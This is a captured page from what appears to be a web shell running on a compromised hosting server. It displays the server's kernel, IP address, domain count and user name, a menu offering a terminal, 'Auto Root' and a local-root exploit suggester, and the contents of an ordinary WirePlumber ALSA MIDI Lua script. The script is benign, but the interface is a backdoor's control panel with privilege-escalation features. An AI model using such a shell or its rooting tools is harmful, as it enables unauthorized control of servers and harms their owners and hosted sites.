Linux evo.fastest-server.com 5.14.0-284.1101.el9.tuxcare.11.els11.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 14 13:30:35 UTC 2026 x86_64
LiteSpeed
Server IP : 103.249.112.113 & Your IP : 216.73.217.135
Domains : 988 Domain
User : tanishks
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
wireplumber /
scripts /
monitors /
Delete
Unzip
Name
Size
Permission
Date
Action
libcamera
[ DIR ]
drwxr-xr-x
2026-09-04 10:13
v4l2
[ DIR ]
drwxr-xr-x
2026-09-04 10:13
alsa-midi.lua
1.97
KB
-rw-r--r--
2025-10-10 14:43
alsa.lua
18.35
KB
-rw-r--r--
2025-10-10 14:43
bluez-midi.lua
4.71
KB
-rw-r--r--
2025-10-10 14:43
bluez.lua
18.12
KB
-rw-r--r--
2025-10-10 14:43
Save
Rename
-- WirePlumber -- -- Copyright © 2021 Collabora Ltd. -- @author Julian Bouzas <julian.bouzas@collabora.com> -- -- SPDX-License-Identifier: MIT cutils = require ("common-utils") log = Log.open_topic ("s-monitors") defaults = {} defaults.node_properties = { -- Midi bridge node properties ["factory.name"] = "api.alsa.seq.bridge", -- Name set for the node with ALSA MIDI ports ["node.name"] = "Midi-Bridge", -- Set priorities so that it can be used as a fallback driver (see pipewire#3562) ["priority.session"] = "100", ["priority.driver"] = "1", } config = {} config.monitoring = Core.test_feature ("monitor.alsa-midi.monitoring") config.node_properties = Conf.get_section_as_properties ( "monitor.alsa-midi.properties", defaults.node_properties) SND_PATH = "/dev/snd" SEQ_NAME = "seq" SND_SEQ_PATH = SND_PATH .. "/" .. SEQ_NAME midi_node = nil fm_plugin = nil function CreateMidiNode () -- create the midi node local node = Node("spa-node-factory", config.node_properties) node:activate(Feature.Proxy.BOUND, function (n) log:info ("activated Midi bridge") end) return node; end if GLib.access (SND_SEQ_PATH, "rw") then midi_node = CreateMidiNode () elseif config.monitoring then fm_plugin = Plugin.find("file-monitor-api") end -- Only monitor the MIDI device if file does not exist and plugin API is loaded if midi_node == nil and fm_plugin ~= nil then -- listen for changed events fm_plugin:connect ("changed", function (o, file, old, evtype) -- files attributes changed if evtype == "attribute-changed" then if file ~= SND_SEQ_PATH then return end if midi_node == nil and GLib.access (SND_SEQ_PATH, "rw") then midi_node = CreateMidiNode () fm_plugin:call ("remove-watch", SND_PATH) end end -- directory is going to be unmounted if evtype == "pre-unmount" then fm_plugin:call ("remove-watch", SND_PATH) end end) -- add watch fm_plugin:call ("add-watch", SND_PATH, "m") end